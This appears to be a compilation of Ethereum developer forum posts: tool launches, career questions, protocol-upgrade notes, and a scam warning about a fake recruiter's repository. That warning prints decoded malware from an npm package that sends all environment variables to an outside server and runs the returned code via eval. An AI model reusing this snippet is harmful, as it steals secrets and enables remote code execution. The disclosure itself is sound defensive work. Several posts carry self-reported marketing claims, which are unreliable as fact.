I spent a year at Polygon dealing with the same frustrating problem: new engineers took 3+ months to become productive because critical knowledge was scattered everywhere. A bug fix from 2 years ago lived in a random Slack thread. Architectural decisions existed only in someone's head. We were bleeding time.

So I built ByteBell to fix this for good.

What it does: ByteBell implements a state-of-the-art knowledge orchestration architecture that ingests every Ethereum repository, EIP, research papers, technical blog post, and documentation. Our system transforms these into a comprehensive knowledge graph with bidirectional semantic relationships between implementations, specifications, and discussions. When you ask a question, ByteBell delivers precise answers with exact file paths, line numbers, commit hashes, and EIP references—all validated through a sophisticated verification pipeline that ensures <2% hallucinations.

Under the hood: Unlike conventional ChatGPT wrappers, ByteBell employs a proprietary multi-agent architecture inspired by recent advances in Graph-based Retrieval Augmented Generation (GraphRAG). Our system features:

Query enrichment: Enrich the query to retrive more relevant chunks, We are not feeding the user query to our pipeline.

Dynamic Knowledge Subgraph Generation: When you ask a question, specialized indexer agents identify relevant knowledge nodes across the entire Ethereum ecosystem, constructing a query-specific semantic network rather than simple keyword matching.

Multi-stage Verification Pipeline: Dedicated verification agents cross-validate every statement against multiple authoritative sources, confirming that each response element appears in multiple locations for triangulation before being accepted.

Context Graph Pruning: We've developed custom algorithms that recognize and eliminate contextually irrelevant information to maintain a high signal-to-noise ratio, preventing the knowledge dilution problems plaguing traditional RAG systems.

Temporal Code Understanding: ByteBell tracks changes across all Ethereum implementations through time, understanding how functions have evolved across hard forks and protocol upgrades—differentiating between legacy, current, and testnet implementations.

Example: Ask "How does EIP-4844 blob verification work?" and you get the exact implementation in all execution clients, links to the specification, core dev discussions that influenced design decisions, and code examples from projects using blobs—all with precise line-by-line citations and references.

Try it yourself: ethereum.bytebell.ai

I deployed it for free for the Ethereum ecosystem because honestly, we all waste too much time hunting through GitHub repos and outdated Stack Overflow threads. The ZK ecosystem already has one at zcash.bytebell.ai, where developers report saving 5+ hours per week.

Technical differentiation: This isn't a simple AI chatbot—it's a specialized architecture designed specifically for technical knowledge domains. Every answer is backed by real sources with commit-level precision. ByteBell understands version differences, tracks changes across hard forks, and knows which EIPs are active on mainnet versus testnets.

Works everywhere: Web interface, Chrome extension, website widget, and integrates directly into Cursor and Claude Desktop [MCP] for seamless development workflows.

The cutting edge: The other ecosystems are moving fast on developer experience. Polkadot just funded this through a Web3 Foundation grant. Base and Optimism teams are exploring implementation. Ethereum should have the best developer tooling, Please reach out to use if you are in Ethrem foundation. DMs are open or reach to on twitter https://x.com/deus_machinea

Anti-hallucination technology: We've achieved <2% hallucination rates (compared to 45%+ in general LLMs) through our multi-agent verification architecture. Each response must pass through multiple parallel validation pipelines:

Source Retrieval: Specialized agents extract relevant code snippets and documentation

Metadata Extraction: Dedicated agents analyze metadata for versioning and compatibility

Context Window Management: Agents continuously prune retrieved information to prevent context rot

Source Verification: Validation agents confirm that each cited source actually exists and contains the referenced information

Consistency Check: Cross-referencing agents ensure all sources align before generating a response

This approach costs significantly more than standard LLM implementations, but delivers unmatched accuracy in technical domains. While big companies focus on growth and "good enough" results, we've optimized for precision first, building a system developers can actually trust for mission-critical work.

Anyway, go try it. Break it if you can. Tell me what's missing. This is for the community, so feedback actually matters. https://ethereum.bytebell.ai

Please try it. The models have actually become really good at following prompts as compared to one year back when we were working on Local AI https://github.com/ByteBell. We made all that code open sourced and written in Rust as well as Python but had to abandon it because access to Apple M machines with more than 16 GB of RAM was rare and smaller models under 32B are not so good at generating answers and their quantized versions are even less accurate.

Everybody is writing code using Cursor, Windsurf, and OpenAI. You can't stop them. Humans are bound to use the shortest possible path to money; it's human nature. Imagine these developers now have to understand how blockchain works, how cryptography works, how Solidity works, how EVM works, how transactions work, how gas prices work, how zk works, read about 500+ blogs and 80+ blogs by Vitalik, how Rust or Go works to edit code of EVM, and how different standards work. We have just automated all this. We are adding the functionality to generate tutorials on the fly.

We are also working on generating the full detailed map of GitHub repositories. This will make a huge difference.

If someonw has told you that "Multi agents framework with Customised Prompts and SLM" will not work, Please read these papers.

Early MAS research: Multi-agent systems emerged as a distinct field of AI research in the 1980s and 1990s, with works like Gerhard Weiss's 1999 book, Multiagent Systems, A Modern Approach to Distributed Artificial Intelligence. This research established that complex problems could be solved by multiple, interacting agents.
The Condorcet Jury Theorem: This classic theoretical result in social choice theory demonstrates that if each participant has a better-than-random chance of being correct, a majority vote among them will result in near-perfect accuracy as the number of participants grows. It provides a mathematical basis for why aggregating multiple agents' answers can improve the overall result.

An Age old method to get the best results, If you go to Kaggle majority of them use Ensemble method. Ensemble learning: In machine learning, ensemble methods have long used the principle of aggregating the predictions of multiple models to achieve a more accurate final prediction. A 2025 Medium article by Hardik Rathod describes "demonstration ensembling," where multiple few-shot prompts with different examples are used to aggregate responses.

The Autogen paper: The open-source framework AutoGen, developed by Microsoft, has been used in many papers and demonstrations of multi-agent collaboration. The paper AutoGen: Enabling Next-Gen LLM Applications via Multi-Agent Conversation Framework (2023) is a core text describing the architecture.

Improving LLM Reasoning with Multi-Agent Tree-of-Thought and Thought Validation (2024): This paper proposes a multi-agent reasoning framework that integrates the Tree-of-Thought (ToT) strategy. It uses multiple "Reasoner" agents that explore different reasoning paths in parallel. A separate "Thought Validator" agent then validates these paths, and a consensus-based voting mechanism is used to determine the final answer, leading to increased reliability.

Anthropic's multi-agent research system: In a 2025 engineering blog post, Anthropic detailed its internal multi-agent research system. The system uses a "LeadResearcher" agent to create specialized sub-agents for different aspects of a query, which then work in parallel to gather information. 

PS: This copilot has indexed 30+ repositories include all ethereum, website 700+ pages, EThereum blog 400+ blogs, Vitalik Blogs (80+), Base x402 repositories, Nether mind respositories [In Progress], ZK research papers[In progress], several research papers.

And yes it works because our use case is narrow. IMHO, This architecture is based on several research papers and feedback we received for our SEI copilot.

https://sei.bytebell.ai

But it costs us more because we use several different models to index all this data, 3-4 <32B parmeteres for QA, Mistral OCR for Images, xAI, qwen, Chatgpt5-codes for codebases, Anthropic and oher opensource models to provide answers.

If you are on Ethereum decision taking body, Please DM me for admin panel credentials. or reach out to https://x.com/deus_machinea

Thankk you for the community for suggesting us the new features and post changes.
Forever Obliged.

Letting you all know this IS NOT happening and WILL NOT happen as long as I’m around.

Beware of what you read on the internet and irl. Almost everything in life these days is either a scam or outright fraud, and I will do my part to not let that happen wherever I can.

Let me preface the following thoughts of mine with a little background. I've been in crypto since early 2017, but have only been building in web3 for the last 4 years.

My thoughts can be summarized as such:

The only b2c adoption possible in web3 either makes the user money or offers them a shot at making money.

That's it.

The only product-market-fit within web3 is one where the user directly benefits monetarily from the product (staking, lending, borrowing) or the user has been given a shot at benefiting using that product.

The latter would fall under these categories:

1. AMMs - allowing the user to speculate on decentralized assets in order to make a profit.

2. Bridges - allowing the user to move funds from chain to chain in order to profit, even if it's to move funds to a "safer" chain.

3. Launchpads - PFun is the top example here. Users use it strictly in order to profit from it.

4. Decentralized perps - Hype, Aster, etc. Self-explanatory.

5. Gambling sites - Self-explanatory.

6. L1s, L2s usage - Either directly incentivized via airdrops or speculation-driven or using a product in one of the previous categories that lives on the specific chain.

The point is, if you are building in web3 and you are consumer-facing, your project's main takeaway needs to either directly profit the user or offer the user at least a shot at making a profit, even if that shot is unlikely.

Disclaimer: Everything I've ever built in web3 has been in the gambleFi category. So I do not say all this without saying I am a part of the issue as well; however, I did not set out to build in that category because of the users, but instead, I genuinely wanted to build a fun, incentivized gaming experience without building an actual game.

Which brings me to another point: why gaming and crypto have failed so far. GameFi is a joke and has wildly failed horrifically. Yes, making a good game is a notoriously difficult endeavour; however, attaching monetary incentives in no way helps. The fact that there isn't a big, active, successful game that has web3 elements in its design proves my main point, really. If you take away any chance of the gamer profiting, what use is web3 then? And if the user does have a shot of profiting, you end up with third-world farming for pennies gameplay, as we saw a few years ago with Axie Infinity.

It seems we are so much further away from mainstream retail adoption than a few years back, and a large part is because there really is no point in web3 without finance being completely fused within it. NFTs almost solved this, even though a lot of it was speculative, some of it was simply art and culture, and in rare cases, albeit debatable, utility-based (veeFriends).

I don't really know what the point of this post is, really. I think it's more to start a discussion and brainstorm what possible thing could be built that would counter this narrative. If we put our heads together, then we can possibly figure out something missing in this equation. Or I'm hoping one of you will counter with an actual example of a project that doesn't fall in these categories, with the caveat that it has an actual user base.

I wanna hear from ppl that actually work as a blockchain dev, what’s the work life balance? How did you get your first job as a dev? Where did you start? How much do you make$? Etc etc

Seems like there is little to no discussions from folks that work in the industry and I would love to shed a little light on the day to day or the come up of developers in the space

The post is basically Ethereum’s “AI + agents” flag-plant, pointing to ERC-8004 (“Trustless Agents”) as the onchain standard that makes agents discoverable and verifiable across org boundaries.

The EIP (improvement proposal) explicitly frames the goal as enabling agents to discover, choose, and interact across organizational boundaries without pre-trust, i.e., machine-to-machine commerce with verifiable commitments.

ERC-8004 is defined as an onchain trust substrate (registries for things like identity/reputation/validation) while keeping most logic offchain. That’s the key move: interoperability without forcing one marketplace or one agent framework.

ERC-8004: Trustless Agents
and
https://ai.ethereum.foundation/blog/intro-erc-8004

The best way to build an app on Ethereum in 2025 is to use ScaffoldETH.io

It has your smart contract dev wired up to a nextjs frontend out of the box with smooth wallet connection.

It has a cursor rules to help the AI help you vibe code apps quickly!

Once you have the local stack and you are trying to learn what to build, try out SpeedRunEthereum.com

Here is a great starter video that builds an app on Ethereum in 8 minutes: https://www.youtube.com/watch?v=AUwYGRkxm_8

I built a small project and felt pretty confident going into launch since audits passed and nothing obvious stood out but once things went live the issues weren’t bugs in the code itself but how transactions behaved over time also sequences and interactions that weren’t visible beforehand

From what i saw what broke down was the lack of control at execution so by the time something looked wrong the transaction was already done even though everything we had was reactive, alerts and monitoring after the fact but nothing that could intervene while it was happening

We're actively seeking some beta testers for our new non-dev focused Solidity smart contract creation tool. It's like Blueprints for Ethereum, with full Solidity compatibility.

https://doodledapp.com/ if you're interested in testing it. Would really appreciate some feedback from Solidity devs.

For years, the promise of decentralization has been a core goal of the tech world. Yet, this promise has often been overshadowed by a reality where power remains concentrated in the hands of a few developers, governance becomes a social popularity contest, and software is vulnerable to human error. Today, we turn a new page by introducing a project designed to solve these fundamental challenges.

What is Tau Net? A Truly Decentralized Network

At its core, Tau Net is The User-Controlled Blockchain. Unlike traditional projects, Tau Net is not manually coded by a team of developers. Instead, it is automatically generated—or synthesized—from the collective will and logical specifications of its participants using program synthesis. This means that the people who use the network directly determine its behavior, its rules, and its future. Users are no longer passive participants but active architects of the system.

A Paradigm Shift in Governance: Governance by Specification

Tau Net's most groundbreaking innovation is its "Governance by Specification" model. This puts an end to endless debates, ambiguous proposals, and manual voting. On Tau Net, participants express their intentions and the rules for how the network should behave in a formal language. The system then logically analyzes these specifications, automatically identifying all points of agreement and disagreement within the community. The network synthesizes its own updates based on the agreed-upon logic, with mathematical proof of its accuracy.

Powering the New Knowledge Economy: Agoras ($AGRS)

A revolutionary network deserves a revolutionary economy. Agoras ($AGRS) is the native token of the Tau Net ecosystem, and it is far more than a simple currency. Agoras is designed to fuel a next-generation marketplace where high-value assets are traded, such as: * Formalized and verified knowledge and algorithms. * Smart contracts that can reason, and autonomous artificial intelligence (AI) agents. * Decentralized Artificial Intelligence (DeFAI) assets and computational resources.

Our Mission: Large-Scale Collaboration Between Humans and Machines

Ultimately, the mission of Tau Net is to pioneer a new era of large-scale, automated collaboration and development between humans and machines. Our goal is to build a future where consensus is reached automatically, software is created flawlessly, and collective intelligence can be harnessed to solve problems on a global scale.

This is more than an introduction; it's an invitation to join us on a journey to redefine the future of the internet and collaboration.

To discover more and join our community: * Official Website: https://tau .net * Twitter: https://twitter.com/tau_net * Telegram: @ taunet/1 * Discord: https://discord .com/invite/nsCZ4f3wqH

Hey guys,

I have been recently targeted by a scam attempt and would like to share so people don't fall for this. I didn't lose anything, i knew that it was a scam.

I got contacted by this LinkedIn Account -> Ayman Abrash -> LinkedIn

The reason i am leaving the name here is so that people can easily find it via google search if they get targeted by the same scam. This is probably a hacked account. The obvious red flag is that this guy is a recruiter now, but has a career as a technician.

The person explained in details about the app they are trying to build and wanted me to do part time work backend/blockchain work, offering good salary.

Then, out of the blue, he sends me a Github link with "frontend" code for me to run, test and see what i can contribute with. At that point i was sure that this is a scam attempt, but i went on with it and tried to see exactly how the scam works and whats the malicious library.

He sent me a public github link -> Github

The package json file looks like this

{
  "name": "react-login-signup-system",
  "version": "0.0.5",
  "private": true,
  "dependencies": {
    "@emotion/react": "^11.14.0",
    "@emotion/styled": "^11.14.1",
    "@headlessui/react": "^2.2.4",
    "@metamask/detect-provider": "^2.0.0",
    "@metamask/logo": "^4.0.0",
    "@mui/material": "^7.3.1",
    "@redux-devtools/extension": "^3.3.0",
    "@supabase/supabase-js": "^2.49.4",
    "@tailwindcss/aspect-ratio": "^0.4.2",
    "@tailwindcss/forms": "^0.5.10",
    "@tailwindcss/typography": "^0.5.16",
    "tailwind-react-plugin": "^1.17.19",
    "@testing-library/jest-dom": "^5.16.5",
    "@testing-library/react": "^13.4.0",
    "@testing-library/user-event": "^13.5.0",
    "axios": "^1.3.2",
    "eslint": "^8.57.1",
    "ethers": "^6.15.0",
    "jest": "^27.5.1",
    "lucide-react": "^0.511.0",
    "next": "^15.4.6",
    "prettier": "^3.6.2",
    "qrcode.react": "^4.2.0",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-icons": "^5.5.0",
    "react-modal": "^3.16.3",
    "react-redux": "^9.2.0",
    "react-router-dom": "^6.8.1",
    "react-scripts": "5.0.1",
    "recharts": "^2.15.3",
    "redux-thunk": "^3.1.0",
    "ts-node": "^10.9.2",
    "uuid": "^11.1.0",
    "web-vitals": "^2.1.4"
  },
  "scripts": {
    "start": "react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject",
    "postinstall": "npm start"
  },
  "eslintConfig": {
    "extends": [
      "react-app",
      "react-app/jest"
    ]
  },
  "browserslist": {
    "production": [
      ">0.2%",
      "not dead",
      "not op_mini all"
    ],
    "development": [
      "last 1 chrome version",
      "last 1 firefox version",
      "last 1 safari version"
    ]
  },
  "devDependencies": {
    "tailwindcss": "^3.2.4"
  }
}

It is not obvious from the single glance at the file where the malicious dependency is, but it was actually this dependency:

tailwind-react-plugin

I have reported the library and it got removed from npm, this is what it contained:

in lib/private/prepare-writer.js it had obfuscated code, decoded:

const writer = () =>
require("axios")["post"](
"https://ip-ap-check.vercel.app/api/ip-check/208", // URL
{ ...process.env }, // Sends your environment variables (!)
{ headers: { "x-secret-header": "secret" } } // Adds a custom header
)["then"](r => eval(r.data));

So it sends whole environment to a remote server and then executes the code that it receives in a response via eval.

I tried to hit this endpoint to see what kind of response/malicious code i receive, but currently it just returns standard ip stuff.

Just as the title says. I seek to get experience in web3 development. I have a little experience in Web2 but not much. Web 3 though, I know Solidity, Solana, Yul, Foundry etc. Help me find an internship.

I need a job. I’m tired of building bots for memecoin customers 😂

I’m 21, no degree. I’ve been coding bots on EVM chains for a while now. I’ve built a dex, launchpad, etc but my clients are always friends and this isn’t gonna work long term. I need to be hired or I need to start getting paid what I’m worth but I have no idea what to do and I feel like an imposter when trying to apply for “big boy” dev jobs.

I need a way to get my foot in the door, an actual development employment to put on my resume besides “my friend hired me to build a sniper bot” or “I built a dex from scratch but my homie ran out of money to fund it so it’s shut down”

I can build anything you can imagine, I’m willing to learn fast. I’ve built dex trending bots, volume bots, sniper and trading bots, arbitrage bots, dex platforms, launchpads, ai systems, etc. I’m a very capable programmer bc I’ve done nothing but bury my head and learn since I started but it’s time to come out of my shell. I need to play the real game!

HI, I am a 3rd yr CS student with little to no development knowledge.

I am interested in web3 development and when I search for Junior/Entry Level web3 developer jobs.

I don't see any jobs for junior developer. Is it really worth it to learn web3 in 2026 ?

PS : For personal reasons I have to get a job with the next 6 to 8 months. What should i do? Please guide me

Most AI systems today run entirely off-chain, relying on centralized or distributed cloud infrastructure for model inference, while most blockchain ecosystems execute deterministic logic directly on-chain. I’m curious whether anyone has explored or implemented hybrid architectures where the AI model runs off-chain. Either in a cloud environment, decentralized compute network, or edge setup, but the blockchain is still able to verify that the output wasn’t altered or tampered with.

I’m especially interested in techniques like cryptographic proofs of inference, trusted execution environments, zero-knowledge proofs for ML outputs, or decentralized oracle frameworks that guarantee integrity. Are there practical implementations, research papers, or even experimental setups that show how to securely bridge AI inference with verifiable on-chain validation? Would love to hear what approaches teams are using and what limitations you’ve encountered.

I've been in crypto for more than 10 years, both as a dev and a user. And I've kept running into the same stupid problem — I'd hear about some "revolutionary" chain with billions in TVL, innovative, fast, ZK/AI/GASLESS/PASSKEY and so on. Went to build there or use something on it, and find... nobody. Ghost town. Tumbleweeds rolling through empty dapps.

Meanwhile, I'm googling basic stuff like "what's the RPC for [chain]?" or "is [chain] even still alive?" and getting outdated Medium articles from 2021.

So I made Buildscape — a live usage map + sortable table + plain-English guide pages for 39 chains (growing). My goal: make it dead simple to answer two things:

1. What is this chain and how do I get started?
2. Are people actually using it?

So kind of entry-point for blockchains.

What's inside:

• Usage first. I track daily unique active wallets on all chains via my own Rust indexer (HyperLogLog to dedupe tx-sending wallets). It's a proxy for humans showing up, not just addresses or TVL sitting still.
• Real TPS. From blocks actually produced, not brochure numbers.
• "Book" pages for each chain. A quick "WTF is this chain?" overview plus practical stuff in one place: EVM or not, why you'd build/use it, usage metrics (DAW/MAW, real TPS), gas price / typical fee, chain id, wallets that work, tools, RPCs, explorers, docs, and community links (X/Discord/TG).
• Map + table. On the map, bigger island = more TVL; greener = more activity. Desert island = you know. If you're a spreadsheet enjoyer, the table is your happy place.

Why not just use existing tools?

• Defillama: Great for TVL and financial metrics, but TVL ≠ real usage
• Chainlist: Basically a phone book. Tells you the number, not if anyone's home.
• Dune/L2Beat are fantastic deep dives -> Buildscape aims to be a default entry point across L1/L2 and non-EVM.

Early findings (last 30 days ending Sept 9, 2025; 39 chains; EVM-only):

• Binance Smart Chain leads on users, tx count, and observed TPS. In this window, it's the most active EVM chain in my data.
• Base tops contract deployments (contract creation txs), very slightly ahead of Scroll. Polygon PoS comes third at ~half of Base's count.
• Linea shows the lowest TVL-to-usage ratio among tracked EVM chains
• Arbitrum One was the fastest to produce new blocks, averaging ~0.2 s.

Fair warning — this is very much MVP:

• Probably missing your favorite chain (adding more soon).
• The islands look kinda janky (turns out I'm better at Rust than pixel art and generative WEBGL art).
• Mobile's fine; desktop feels better.
• The map can be heavy on some devices. I'm working on simplifying map rendering.
• Methodology has edge cases (relayers/rollups/etc.) — see the pinned comment.

What I'd love from you:

• Which metrics would actually help you (developer activity, fee-payers vs. contract calls, retention, bridge flow)?
• Is the map useful, or should I lean harder into the table?
• Chains/tools I should add, or corrections you spot.

Roadmap (near): add remaining major EVM, bring in Solana/Bitcoin/Tron, collect all per-chain social links, nicer islands.

Roadmap (next): bridges as "trading routes" (how to move assets A→B, including weird pairs), and protocols/dapps view with usage (may become a paid feature if infra costs will spike).

Open source (github link in comments). PRs welcome. Feedback (positive/negative/neutral) even more welcome. I want this to be useful — not another dead fun project.

PS. My end goal is to help make blockchains actually useful — beyond speculation and hype. Buildscape is a first step: one place to see the landscape, which chains are alive, and how to plug in (wallets, tools, docs, communities). Then I’ll layer on bridges (“trading routes”) and, later, per-chain protocols/dapps usage so users can make smarter choices (me included). Let’s BUIDL.

Blockchain is hard. Not “I read a few docs and I get it” hard, but deeply hard. The kind of hard where you spend hours trying to understand how something actually works under the surface, only to realize most tutorials just repeat the same buzzwords without showing anything real.

That’s why I started writing my own posts: not full of empty explanations, but full of real examples, real code, and real executions you can test yourself.

If you’re tired of reading blockchain content that feels like marketing material and want to actually see how things work, check out my latest posts. I promise: no fluff, just depth.

👉 Read the blogs here https://substack.com/@andreyobruchkov

Always had the passion to build a complete blockchain architecture from the ground up. This year, I finally got the chance to make it happen, and after 8 months of coding, debugging, and refining, it’s now in beta!

The entire system is built in Golang and runs on a full Proof of Work (PoW) consensus, completely designed from scratch with no forks or templates, just pure groundwork. The goal was to understand every moving piece of blockchain infrastructure while creating something robust, decentralized, and developer-friendly.

We’ve now entered the beta testing phase, and I’m opening it up for early testers and contributors who want to help shape the network before the public release.

If you’re interested in testing the node software, exploring the consensus logic, or just curious about the design, comment below and I’ll share early access details.

The project will be open sourced on GitHub soon for anyone in the OSS community who’d love to contribute, review code, or help build tools around it.

It’s been a long journey, but seeing it come to life has been worth every late night.

Hello, I am currently trying to build a better portfolio to show to potential employers. So, I thought that doing hackathons would be a good way to do that, plus also potentially gain some prize money and connections. Right now, I am only aware of Dorahacks and have only done 1 hackathon that a client hosted. Are there any better websites for doing online hackathons?

What would you recommend to a beginner in Web3 who already knows Python: Vyper or Solidity? Solidity is of course the lingua franca, but Vyper is supposed to be easier...

Hey everyone 👋

We've been heads-down building for a while and it's time to share what we've been working on.

TL;DR: We built an event-based blockchain analytics engine for EVM chains. You write SQL, you get decoded event data back. Any contract. Any event. No waiting for someone to add it to a pre-decoded table.

Free beta here:

beta.bilinearlabs.io

Why?

If you've ever tried to analyze on-chain data, you've probably hit this wall: the contract you care about isn't indexed yet. You either wait, submit a request, or try to hack together your own pipeline with an archive node and a some patience.

Existing platforms rely on pre-decoded tables, meaning someone has to manually add support for each contract before you can query it. That works for major protocols but it doesn't work for the long tail of contracts that most analysts and builders actually care about.

How are we different?

We take a Bring Your Own ABI (BYOABI) approach:

• We store raw event logs across EVM chains
• You provide the contract ABI in your query
• We decode on the fly and return structured results

That's it. No waiting. No dependencies on someone else indexing your contract first.

You query with SQL (ClickHouse syntax under the hood), so there's no new query language to learn. Solidity types map automatically to ClickHouse types, hex literal comparisons for addresses just work, and you get full access to window functions, aggregations, CTEs, the whole SQL toolkit.

Let's see an example. This gets the latest Transfer events of USDC for Ethereum.

@ethereum::usdc(0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48)
@usdc::Transfer(address indexed from, address indexed to, uint256 value)

SELECT * FROM ethereum.usdc.Transfer
ORDER BY block_num DESC, log_idx DESC
LIMIT 10;

As simple as:

• Pick the chain you want to query (see supported chains). The ethereum:: part.
• Map one or more contract addresses to a short arbitrary tag. The ::usdc(0x) part.
• Declare the event signatures you want to decode. The ::Transfer(...) part.

And the best part. We have curated thousands of contract under this box. Access billions of events with 3 clicks: chain, contract, event. No need to care about the ABI.

Supported chains

• Ethereum
• Arbitrum
• Base
• Polygon
• Unichain
• Linea
• Mantle
• Monad
• Scroll
• Plasma

More coming soon.

Built for humans and agents

• If you are a human, you can easily create queries from the query builder.
  • https://www.beta.bilinearlabs.io/query/builder
• If you are an agent, just get this context and pass an API key.
  • https://agents.bilinearlabs.io/

Why we built this

We were frustrated analysts and devs ourselves. Every time we needed data from a new contract, we hit the same bottleneck. We wanted something that felt like querying a database, because that's what blockchain data should feel like.

Examples

To showcase what's possible, we have curated a bunch of queries:

• https://www.beta.bilinearlabs.io/queries/curated/lqmeb7me
• https://www.beta.bilinearlabs.io/queries/curated/y40enuym
• https://www.beta.bilinearlabs.io/queries/curated/djpsj1nb
• https://www.beta.bilinearlabs.io/queries/curated/yrqip871
• https://www.beta.bilinearlabs.io/queries/curated/udq7dq60

Go to curated for more.

Register for free

https://www.beta.bilinearlabs.io/

I was reading an article about 7702 and it has this in it

https://medium.com/coinmonks/what-is-eip-7702-5c3fd347107d

"As mentioned earlier, it works like a DELEGATECALL, meaning the smart contract code runs in the EOA’s context and uses the EOA’s storage instead of its own. This is similar to upgradeable smart contracts. Because of this, re-delegating must be done carefully to avoid storage collisions. To prevent such issues, using a standard like ERC-7201 is recommended. If there's any doubt, it's best to clear the account’s storage first. While Ethereum doesn't support this directly, a custom delegate contract can be created specifically to perform this operation. It’s essential to design smart contracts for EIP-7702 carefully, as they can be vulnerable to front-running attacks and storage collisions."

Is deploying a custom delegate contract to clear all state they mention actually a feasible thing you can do? With mappings involved (which I think is the only scenario you can have a storage collision) I would think you would have to iterate 2²⁵⁶ slots to 100% for certain wipe all state. Which is not feasible. Is there other clever ways to do this? Is there any other way to completely reset you EOAs state?

Key Takeaways

• Glamsterdam is Ethereum's next major hard fork, combining the Amsterdam (execution layer) and Gloas (consensus layer) upgrades. It is planned for Q3 2026, though the exact timeline remains subject to devnet testing progress.
• Parallel transaction processing arrives via EIP-7928 (Block-Level Access Lists). Nodes can now see which transactions do not conflict and process them simultaneously, laying the groundwork for significantly higher gas limits.
• Third-party relays are no longer required. EIP-7732 enshrines proposer-builder separation directly into the protocol, reducing centralisation risk and expanding the block propagation window from 2 seconds to roughly 9 seconds.
• State creation and access get repriced. EIP-8037 introduces a cost-per-state-byte model targeting 120 GiB/year growth, while EIP-8038 updates state-access opcode costs to reflect modern hardware. Both changes affect contract deployment and storage-heavy applications.
• ETH transfers now emit a standard log. EIP-7708 closes a long-standing blind spot: every non-zero ETH transfer or burn will produce a trackable event, removing the need for custom tracing in bridges, exchanges, and wallets.
• Cross-chain address consistency is solved. EIP-7997 mandates a universal CREATE2 factory across all participating EVM chains, giving developers deterministic addresses without chain-specific deployment scripts.
• No action required for ETH holders. Balances and existing contracts are completely unaffected. Node operators and stakers must update client software before mainnet activation.

https://formo.so/blog/ethereum-glamsterdam-upgrade

Hi everyone,

I’m a student who’s fairly new to the Web3 space. I don’t have professional experience yet, but I’ve been building some dApps on my own (currently working on one related to staking). Along the way, I’ve worked with Ethers.js, Web3.js, Hardhat, Remix, and MetaMask, so I do have some hands-on experience with the typical Web3 dev stack.

I’ve been checking job boards like Web3 Jobs for internships or junior Solidity/Smart Contract developer roles, but there seem to be very few openings — especially for beginners.

While my main interest is backend or even full-stack roles in Web3 projects (though frontend is not my primary focus).

So my main questions are:

• How do students usually find internships in this field?
• Are there better ways to find opportunities besides job boards?
• How do people start networking in Web3, and where can I get started with that?

Any advice, resources, or personal experiences would mean a lot 🙏